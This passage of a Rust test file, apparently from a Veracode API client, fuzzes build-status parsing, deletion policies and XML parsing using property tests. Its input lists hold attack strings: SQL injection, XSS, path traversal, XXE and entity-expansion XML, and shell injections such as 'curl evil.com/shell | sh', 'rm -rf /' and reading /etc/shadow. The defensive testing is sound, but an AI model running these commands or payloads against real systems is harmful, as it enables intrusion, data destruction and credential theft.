1391 BuildStatus::from_string("Pre-Scan Failed"),
1392 BuildStatus::PreScanFailed
1393 );
1394 assert_eq!(
1395 BuildStatus::from_string("Unknown Status"),
1396 BuildStatus::Unknown("Unknown Status".to_string())
1397 );
1398 }
1399
1400 #[test]
1401 fn test_build_status_to_str() {
1402 assert_eq!(BuildStatus::Incomplete.to_str(), "Incomplete");
1403 assert_eq!(BuildStatus::ResultsReady.to_str(), "Results Ready");
1404 assert_eq!(BuildStatus::PreScanFailed.to_str(), "Pre-Scan Failed");
1405 assert_eq!(
1406 BuildStatus::Unknown("Custom".to_string()).to_str(),
1407 "Custom"
1408 );
1409 }
1410
1411 #[test]
1412 fn test_build_status_deletion_policy_0() {
1413 assert!(!BuildStatus::Incomplete.is_safe_to_delete(0));
1415 assert!(!BuildStatus::ResultsReady.is_safe_to_delete(0));
1416 assert!(!BuildStatus::Failed.is_safe_to_delete(0));
1417 }
1418
1419 #[test]
1420 fn test_build_status_deletion_policy_1() {
1421 assert!(BuildStatus::Incomplete.is_safe_to_delete(1));
1423 assert!(BuildStatus::NotSubmitted.is_safe_to_delete(1));
1424 assert!(BuildStatus::PreScanFailed.is_safe_to_delete(1));
1425 assert!(BuildStatus::Failed.is_safe_to_delete(1));
1426 assert!(BuildStatus::Cancelled.is_safe_to_delete(1));
1427
1428 assert!(!BuildStatus::ResultsReady.is_safe_to_delete(1));
1430 assert!(!BuildStatus::ScanInProcess.is_safe_to_delete(1));
1431 assert!(!BuildStatus::PreScanSuccess.is_safe_to_delete(1));
1432 }
1433
1434 #[test]
1435 fn test_build_status_deletion_policy_2() {
1436 assert!(BuildStatus::Incomplete.is_safe_to_delete(2));
1438 assert!(BuildStatus::Failed.is_safe_to_delete(2));
1439 assert!(BuildStatus::ScanInProcess.is_safe_to_delete(2));
1440 assert!(BuildStatus::PreScanSuccess.is_safe_to_delete(2));
1441
1442 assert!(!BuildStatus::ResultsReady.is_safe_to_delete(2));
1444 }
1445
1446 #[test]
1447 fn test_build_status_deletion_policy_invalid() {
1448 assert!(!BuildStatus::Incomplete.is_safe_to_delete(3));
1450 assert!(!BuildStatus::Failed.is_safe_to_delete(255));
1451 }
1452}
1453
1454#[cfg(test)]
1455#[allow(clippy::expect_used)] mod proptests {
1457 use super::*;
1458 use proptest::prelude::*;
1459
1460 fn arbitrary_status_string() -> impl Strategy<Value = String> {
1462 prop::string::string_regex("[A-Za-z0-9 -]{1,100}")
1463 .expect("valid regex pattern for arbitrary status string")
1464 }
1465
1466 fn valid_lifecycle_stage_strategy() -> impl Strategy<Value = &'static str> {
1468 prop::sample::select(LIFECYCLE_STAGES)
1469 }
1470
1471 fn invalid_lifecycle_stage_strategy() -> impl Strategy<Value = String> {
1473 prop_oneof![
1474 Just("".to_string()),
1476 Just(" ".to_string()),
1477 Just("in development (pre-alpha)".to_string()),
1479 Just("DEPLOYED".to_string()),
1480 Just("In Development".to_string()),
1482 Just("Deployed ".to_string()),
1483 Just(" Maintenance".to_string()),
1484 Just("'; DROP TABLE builds; --".to_string()),
1486 Just("<script>alert('xss')</script>".to_string()),
1487 Just("../../etc/passwd".to_string()),
1489 Just("..\\..\\windows\\system32".to_string()),
1490 Just("Deployed\0".to_string()),
1492 Just("Maintenance\n\r".to_string()),
1493 Just("Deployed\u{202E}".to_string()), Just("Maintenance\u{FEFF}".to_string()), prop::string::string_regex(".{256,512}").expect("valid regex pattern for long strings"),
1498 ]
1499 }
1500
1501 proptest! {
1502 #![proptest_config(ProptestConfig {
1503 cases: if cfg!(miri) { 5 } else { 1000 },
1504 failure_persistence: None,
1505 .. ProptestConfig::default()
1506 })]
1507
1508 #[test]
1510 fn proptest_valid_lifecycle_stages_always_accepted(
1511 stage in valid_lifecycle_stage_strategy()
1512 ) {
1513 prop_assert!(is_valid_lifecycle_stage(stage));
1514 }
1515
1516 #[test]
1518 fn proptest_invalid_lifecycle_stages_always_rejected(
1519 stage in invalid_lifecycle_stage_strategy()
1520 ) {
1521 prop_assert!(!is_valid_lifecycle_stage(&stage));
1522 }
1523
1524 #[test]
1526 fn proptest_build_status_parsing_never_panics(
1527 status in arbitrary_status_string()
1528 ) {
1529 let result = BuildStatus::from_string(&status);
1530 prop_assert!(matches!(result, BuildStatus::Unknown(_)) ||
1532 matches!(result, BuildStatus::Incomplete) ||
1533 matches!(result, BuildStatus::NotSubmitted) ||
1534 matches!(result, BuildStatus::SubmittedToEngine) ||
1535 matches!(result, BuildStatus::ScanInProcess) ||
1536 matches!(result, BuildStatus::PreScanSubmitted) ||
1537 matches!(result, BuildStatus::PreScanSuccess) ||
1538 matches!(result, BuildStatus::PreScanFailed) ||
1539 matches!(result, BuildStatus::PreScanCancelled) ||
1540 matches!(result, BuildStatus::PrescanFailed) ||
1541 matches!(result, BuildStatus::PrescanCancelled) ||
1542 matches!(result, BuildStatus::ScanCancelled) ||
1543 matches!(result, BuildStatus::ResultsReady) ||
1544 matches!(result, BuildStatus::Failed) ||
1545 matches!(result, BuildStatus::Cancelled));
1546 }
1547
1548 #[test]
1550 fn proptest_build_status_roundtrip_consistency(
1551 status in prop::sample::select(vec![
1552 "Incomplete", "Not Submitted", "Submitted to Engine", "Scan in Process",
1553 "Pre-Scan Submitted", "Pre-Scan Success", "Pre-Scan Failed", "Pre-Scan Cancelled",
1554 "Prescan Failed", "Prescan Cancelled", "Scan Cancelled", "Results Ready",
1555 "Failed", "Cancelled"
1556 ])
1557 ) {
1558 let parsed = BuildStatus::from_string(status);
1559 let back_to_str = parsed.to_str();
1560 prop_assert_eq!(back_to_str, status);
1561 }
1562
1563 #[test]
1565 fn proptest_deletion_policy_0_never_deletes(
1566 status in arbitrary_status_string()
1567 ) {
1568 let build_status = BuildStatus::from_string(&status);
1569 prop_assert!(!build_status.is_safe_to_delete(0));
1570 }
1571
1572 #[test]
1574 fn proptest_deletion_policy_monotonicity(
1575 status in arbitrary_status_string(),
1576 policy1 in 0u8..=2,
1577 policy2 in 0u8..=2
1578 ) {
1579 let build_status = BuildStatus::from_string(&status);
1580
1581 if policy1 <= policy2 && build_status.is_safe_to_delete(policy1) {
1583 prop_assert!(build_status.is_safe_to_delete(policy2));
1584 }
1585 }
1586
1587 #[test]
1589 fn proptest_results_ready_never_deletable(policy in 0u8..=2) {
1590 prop_assert!(!BuildStatus::ResultsReady.is_safe_to_delete(policy));
1591 }
1592
1593 #[test]
1595 fn proptest_invalid_deletion_policy_safe_default(
1596 status in arbitrary_status_string(),
1597 policy in 3u8..=255
1598 ) {
1599 let build_status = BuildStatus::from_string(&status);
1600 prop_assert!(!build_status.is_safe_to_delete(policy));
1601 }
1602
1603 #[test]
1605 fn proptest_lifecycle_stage_validation_consistency(
1606 stage in prop::string::string_regex(".{0,200}")
1607 .expect("valid regex pattern for lifecycle stage")
1608 ) {
1609 let is_valid = is_valid_lifecycle_stage(&stage);
1610
1611 if is_valid {
1613 prop_assert!(LIFECYCLE_STAGES.contains(&stage.as_str()));
1614 }
1615
1616 if !LIFECYCLE_STAGES.contains(&stage.as_str()) {
1618 prop_assert!(!is_valid);
1619 }
1620 }
1621 }
1622}
1623
1624#[cfg(test)]
1625mod api_request_fuzzing_proptests {
1626 use super::*;
1627 use proptest::prelude::*;
1628
1629 fn malicious_app_id_strategy() -> impl Strategy<Value = String> {
1631 prop_oneof![
1632 Just("'; DROP TABLE apps; --".to_string()),
1634 Just("' OR '1'='1".to_string()),
1635 Just("1 UNION SELECT * FROM users--".to_string()),
1636 Just("<script>alert('xss')</script>".to_string()),
1638 Just("javascript:alert(1)".to_string()),
1639 Just("\"><script>alert(String.fromCharCode(88,83,83))</script>".to_string()),
1640 Just("../../../etc/passwd".to_string()),
1642 Just("..\\..\\..\\windows\\system32\\config\\sam".to_string()),
1643 Just("; rm -rf /".to_string()),
1645 Just("| cat /etc/shadow".to_string()),
1646 Just("& net user hacker password /add".to_string()),
1647 Just("123\0malicious".to_string()),
1649 Just("%s%s%s%s%s%s%s%s%s%s".to_string()),
1651 Just("%n%n%n%n%n".to_string()),
1652 Just("*)(uid=*))(|(uid=*".to_string()),
1654 Just("{\"$ne\": null}".to_string()),
1656 Just("{\"$gt\": \"\"}".to_string()),
1657 Just("".to_string()),
1659 Just(" ".to_string()),
1660 prop::string::string_regex(".{1000,5000}")
1662 .expect("valid regex pattern for very long strings"),
1663 Just("\u{FEFF}123".to_string()), Just("123\u{200B}".to_string()), Just("\u{202E}123\u{202D}".to_string()), Just("123\r\n456".to_string()),
1669 Just("123\t456\n789".to_string()),
1670 ]
1671 }
1672
1673 fn malicious_version_strategy() -> impl Strategy<Value = String> {
1675 prop_oneof![
1676 Just("../../../etc/passwd".to_string()),
1678 Just("..\\..\\..\\windows\\system32".to_string()),
1679 Just("1.0.0; curl evil.com/shell | sh".to_string()),
1681 Just("1.0`whoami`".to_string()),
1682 Just("1.0$(reboot)".to_string()),
1683 Just("<img src=x onerror=alert(1)>".to_string()),
1685 prop::string::string_regex(".{500,1000}")
1687 .expect("valid regex pattern for long version strings"),
1688 Just("\0\0\0".to_string()),
1690 Just("'\"\\n\\r\\t".to_string()),
1691 Just("\u{FEFF}1.0.0".to_string()),
1693 ]
1694 }
1695
1696 fn malicious_date_strategy() -> impl Strategy<Value = String> {
1698 prop_oneof![
1699 Just("2024-13-45".to_string()), Just("99/99/9999".to_string()),
1702 Just("00/00/0000".to_string()),
1703 Just("12/31/2024'; DROP TABLE dates; --".to_string()),
1705 Just("%s%s%s%s".to_string()),
1707 Just("12/31/2024; cat /etc/passwd".to_string()),
1709 prop::string::string_regex(".{100,500}")
1711 .expect("valid regex pattern for long date strings"),
1712 Just("-1/-1/-1".to_string()),
1714 Just("99999999/99999999/99999999".to_string()),
1716 ]
1717 }
1718
1719 proptest! {
1720 #![proptest_config(ProptestConfig {
1721 cases: if cfg!(miri) { 5 } else { 500 },
1722 failure_persistence: None,
1723 .. ProptestConfig::default()
1724 })]
1725
1726 #[test]
1728 fn proptest_create_build_request_malicious_input_safety(
1729 app_id in malicious_app_id_strategy(),
1730 version in malicious_version_strategy(),
1731 launch_date in malicious_date_strategy()
1732 ) {
1733 let request = CreateBuildRequest {
1735 app_id: app_id.clone(),
1736 version: Some(version.clone()),
1737 lifecycle_stage: Some("In Development (pre-Alpha)".to_string()),
1738 launch_date: Some(launch_date.clone()),
1739 sandbox_id: None,
1740 };
1741
1742 prop_assert_eq!(request.app_id, app_id);
1744 prop_assert_eq!(request.version, Some(version));
1745 prop_assert_eq!(request.launch_date, Some(launch_date));
1746 }
1747
1748 #[test]
1750 fn proptest_update_build_request_malicious_input_safety(
1751 app_id in malicious_app_id_strategy(),
1752 build_id in malicious_app_id_strategy(),
1753 version in malicious_version_strategy()
1754 ) {
1755 let request = UpdateBuildRequest {
1756 app_id: app_id.clone(),
1757 build_id: Some(build_id.clone()),
1758 version: Some(version.clone()),
1759 lifecycle_stage: None,
1760 launch_date: None,
1761 sandbox_id: None,
1762 };
1763
1764 prop_assert_eq!(request.app_id, app_id);
1765 prop_assert_eq!(request.build_id, Some(build_id));
1766 prop_assert_eq!(request.version, Some(version));
1767 }
1768
1769 #[test]
1771 fn proptest_delete_build_request_malicious_input_safety(
1772 app_id in malicious_app_id_strategy(),
1773 sandbox_id in malicious_app_id_strategy()
1774 ) {
1775 let request = DeleteBuildRequest {
1776 app_id: app_id.clone(),
1777 sandbox_id: Some(sandbox_id.clone()),
1778 };
1779
1780 prop_assert_eq!(request.app_id, app_id);
1781 prop_assert_eq!(request.sandbox_id, Some(sandbox_id));
1782 }
1783
1784 #[test]
1786 fn proptest_lifecycle_stage_rejects_malicious_input(
1787 malicious_stage in prop_oneof![
1788 malicious_app_id_strategy(),
1789 malicious_version_strategy(),
1790 Just("'; DROP TABLE stages; --".to_string()),
1791 Just("<script>alert('xss')</script>".to_string()),
1792 ]
1793 ) {
1794 let is_valid = is_valid_lifecycle_stage(&malicious_stage);
1797
1798 if is_valid {
1799 prop_assert!(LIFECYCLE_STAGES.contains(&malicious_stage.as_str()));
1801 } else {
1802 prop_assert!(!LIFECYCLE_STAGES.contains(&malicious_stage.as_str()));
1804 }
1805 }
1806
1807 #[test]
1809 fn proptest_build_structure_malicious_attributes(
1810 key in malicious_version_strategy(),
1811 value in malicious_app_id_strategy()
1812 ) {
1813 let mut build = Build {
1814 build_id: "123".to_string(),
1815 app_id: "456".to_string(),
1816 version: None,
1817 app_name: None,
1818 sandbox_id: None,
1819 sandbox_name: None,
1820 lifecycle_stage: None,
1821 launch_date: None,
1822 submitter: None,
1823 platform: None,
1824 analysis_unit: None,
1825 policy_name: None,
1826 policy_version: None,
1827 policy_compliance_status: None,
1828 rules_status: None,
1829 grace_period_expired: None,
1830 scan_overdue: None,
1831 policy_updated_date: None,
1832 legacy_scan_engine: None,
1833 attributes: HashMap::new(),
1834 };
1835
1836 build.attributes.insert(key.clone(), value.clone());
1838
1839 prop_assert_eq!(build.attributes.get(&key), Some(&value));
1841 }
1842
1843 #[test]
1845 fn proptest_build_error_display_safety(
1846 msg in malicious_app_id_strategy()
1847 ) {
1848 let errors = vec![
1849 BuildError::InvalidParameter(msg.clone()),
1850 BuildError::CreationFailed(msg.clone()),
1851 BuildError::UpdateFailed(msg.clone()),
1852 BuildError::DeletionFailed(msg.clone()),
1853 BuildError::XmlParsingError(msg.clone()),
1854 ];
1855
1856 for error in errors {
1857 let _ = error.to_string();
1859 let _ = format!("{error}");
1860 }
1861 }
1862
1863 #[test]
1865 fn proptest_build_status_unknown_variant_safety(
1866 arbitrary_status in malicious_app_id_strategy()
1867 ) {
1868 let status = BuildStatus::Unknown(arbitrary_status.clone());
1869
1870 let str_repr = status.to_str();
1872 prop_assert_eq!(str_repr, arbitrary_status.as_str());
1873
1874 let _ = status.to_string();
1876 let _ = format!("{status}");
1877
1878 let _ = status.is_safe_to_delete(0);
1880 let _ = status.is_safe_to_delete(1);
1881 let _ = status.is_safe_to_delete(2);
1882 }
1883 }
1884}
1885
1886#[cfg(test)]
1887mod xml_parsing_proptests {
1888 use super::*;
1889 use crate::{VeracodeClient, VeracodeConfig};
1890 use proptest::prelude::*;
1891
1892 fn malicious_xml_strategy() -> impl Strategy<Value = String> {
1894 prop_oneof![
1895 Just(r#"<?xml version="1.0"?>
1897<!DOCTYPE lolz [
1898 <!ENTITY lol "lol">
1899 <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
1900]>
1901<build build_id="&lol2;" app_id="123"/>"#.to_string()),
1902
1903 Just(r#"<?xml version="1.0"?>
1905<!DOCTYPE build [
1906 <!ENTITY xxe SYSTEM "file:///etc/passwd">
1907]>
1908<build build_id="&xxe;" app_id="123"/>"#.to_string()),
1909
1910 Just("<build build_id=\"123\" app_id=\"456\"".to_string()),
1912 Just("<build build_id=\"123\"><invalid></build>".to_string()),
1913
1914 Just(r#"<build build_id="<script>alert('xss')</script>" app_id="123"/>"#.to_string()),
1916 Just(r#"<build build_id="123" version="<script>alert('xss')</script>"/>"#.to_string()),
1917
1918 Just(r#"<build build_id="'; DROP TABLE builds; --" app_id="123"/>"#.to_string()),
1920
1921 Just(r#"<build build_id="../../etc/passwd" app_id="123"/>"#.to_string()),
1923
1924 Just("<build build_id=\"123\0\" app_id=\"456\"/>".to_string()),
1926 Just("<build build_id=\"123\r\n\" app_id=\"456\"/>".to_string()),
1927
1928 Just("<build build_id=\"123\u{202E}\" app_id=\"456\"/>".to_string()),
1930
1931 Just("<build/>".to_string()),
1933 Just("<build build_id=\"\"/>".to_string()),
1934 Just("<build app_id=\"\"/>".to_string()),
1935
1936 Just("<a><b><c><d><e><f><g><h><i><j><build build_id=\"123\" app_id=\"456\"/></j></i></h></g></f></e></d></c></b></a>".to_string()),
1938
1939 prop::string::string_regex(".{1000,2000}")
1941 .expect("valid regex pattern for very long XML attributes")
1942 .prop_map(|s| format!(r#"<build build_id="{s}" app_id="123"/>"#)),
1943 ]
1944 }
1945
1946 proptest! {
1947 #![proptest_config(ProptestConfig {
1948 cases: if cfg!(miri) { 5 } else { 500 },
1949 failure_persistence: None,
1950 .. ProptestConfig::default()
1951 })]
1952
1953 #[test]
1955 fn proptest_xml_parsing_never_panics_on_malicious_input(
1956 xml in malicious_xml_strategy()
1957 ) {
1958 let config = VeracodeConfig::new("test_id", "test_key");
1959 let client = VeracodeClient::new(config)
1960 .expect("valid test client configuration");
1961 let api = BuildApi::new(client);
1962
1963 let result = api.parse_build_info(&xml);
1965 prop_assert!(result.is_ok() || result.is_err());
1966 }
1967
1968 #[test]
1970 fn proptest_xml_error_handling(
1971 error_msg in prop::string::string_regex(".{1,200}")
1972 .expect("valid regex pattern for error messages")
1973 ) {
1974 let xml = format!("<error>{error_msg}</error>");
1975 let config = VeracodeConfig::new("test_id", "test_key");
1976 let client = VeracodeClient::new(config)
1977 .expect("valid test client configuration");
1978 let api = BuildApi::new(client);
1979
1980 let result = api.parse_build_info(&xml);
1981
1982 prop_assert!(result.is_err());
1984 }
1985
1986 #[test]
1989 fn proptest_minimal_valid_xml_parsing(
1990 build_id in "[0-9]{1,10}",
1991 app_id in "[0-9]{1,10}"
1992 ) {
1993 let xml = format!(r#"<build build_id="{build_id}" app_id="{app_id}"></build>"#);
1994 let config = VeracodeConfig::new("test_id", "test_key");
1995 let client = VeracodeClient::new(config)
1996 .expect("valid test client configuration");
1997 let api = BuildApi::new(client);
1998
1999 let result = api.parse_build_info(&xml);
2000
2001 prop_assert!(result.is_ok());
2002 if let Ok(build) = result {
2003 prop_assert_eq!(build.build_id, build_id);
2004 prop_assert_eq!(build.app_id, app_id);
2005 }
2006 }
2007
2008 #[test]
2010 fn proptest_empty_build_list_parsing(
2011 app_id in "[0-9]{1,10}"
2012 ) {
2013 let xml = format!(r#"<buildlist app_id="{app_id}"></buildlist>"#);
2014 let config = VeracodeConfig::new("test_id", "test_key");
2015 let client = VeracodeClient::new(config)
2016 .expect("valid test client configuration");
2017 let api = BuildApi::new(client);
2018
2019 let result = api.parse_build_list(&xml);
2020
2021 prop_assert!(result.is_ok());
2022 if let Ok(build_list) = result {
2023 prop_assert_eq!(build_list.app_id, app_id);
2024 prop_assert_eq!(build_list.builds.len(), 0);
2025 }
2026 }
2027
2028 #[test]
2030 fn proptest_date_parsing_safety(
2031 date_str in prop::string::string_regex(".{0,100}")
2032 .expect("valid regex pattern for date strings")
2033 ) {
2034 use chrono::NaiveDate;
2036 let _ = NaiveDate::parse_from_str(&date_str, "%m/%d/%Y");
2037 }
2039
2040 #[test]
2042 fn proptest_boolean_parsing_safety(
2043 bool_str in prop::string::string_regex(".{0,50}")
2044 .expect("valid regex pattern for boolean strings")
2045 ) {
2046 let _ = bool_str.parse::<bool>();
2048 }
2050 }
2051}
2052
2053#[cfg(test)]
2054#[allow(clippy::expect_used)] mod deletion_safety_proptests {
2056 use super::*;
2057 use proptest::prelude::*;
2058
2059 proptest! {
2060 #![proptest_config(ProptestConfig {
2061 cases: if cfg!(miri) { 5 } else { 1000 },
2062 failure_persistence: None,
2063 .. ProptestConfig::default()
2064 })]
2065
2066 #[test]
2068 fn proptest_policy_1_only_deletes_safe_states(
2069 status_str in prop::string::string_regex("[A-Za-z0-9 -]{1,100}")
2070 .expect("valid regex pattern for status strings")
2071 ) {
2072 let status = BuildStatus::from_string(&status_str);
2073 let is_deletable = status.is_safe_to_delete(1);
2074
2075 if is_deletable {
2077 prop_assert!(matches!(
2078 status,
2079 BuildStatus::Incomplete
2080 | BuildStatus::NotSubmitted
2081 | BuildStatus::PreScanFailed
2082 | BuildStatus::PreScanCancelled
2083 | BuildStatus::PrescanFailed
2084 | BuildStatus::PrescanCancelled
2085 | BuildStatus::ScanCancelled
2086 | BuildStatus::Failed
2087 | BuildStatus::Cancelled
2088 ));
2089 }
2090 }
2091
2092 #[test]
2094 fn proptest_policy_2_never_deletes_results_ready(
2095 _dummy in 0u8..1 ) {
2097 prop_assert!(!BuildStatus::ResultsReady.is_safe_to_delete(2));
2098 }
2099
2100 #[test]
2102 fn proptest_unknown_status_safe_default_policy_1(
2103 unknown_status in prop::string::string_regex("[A-Za-z0-9 ]{1,100}")
2104 .expect("valid regex pattern for unknown status strings")
2105 .prop_filter("Must not match known statuses", |s| {
2106 !matches!(s.as_str(),
2107 "Incomplete" | "Not Submitted" | "Submitted to Engine" | "Scan in Process" |
2108 "Pre-Scan Submitted" | "Pre-Scan Success" | "Pre-Scan Failed" | "Pre-Scan Cancelled" |
2109 "Prescan Failed" | "Prescan Cancelled" | "Scan Cancelled" | "Results Ready" |
2110 "Failed" | "Cancelled"
2111 )
2112 })
2113 ) {
2114 let status = BuildStatus::from_string(&unknown_status);
2115
2116 prop_assert!(!status.is_safe_to_delete(1));
2118 }
2119
2120 #[test]
2122 fn proptest_scan_in_process_not_deletable_policy_1(
2123 _dummy in 0u8..1
2124 ) {
2125 prop_assert!(!BuildStatus::ScanInProcess.is_safe_to_delete(1));
2126 }
2127
2128 #[test]
2130 fn proptest_prescan_success_not_deletable_policy_1(
2131 _dummy in 0u8..1
2132 ) {
2133 prop_assert!(!BuildStatus::PreScanSuccess.is_safe_to_delete(1));
2134 }
2135 }
2136}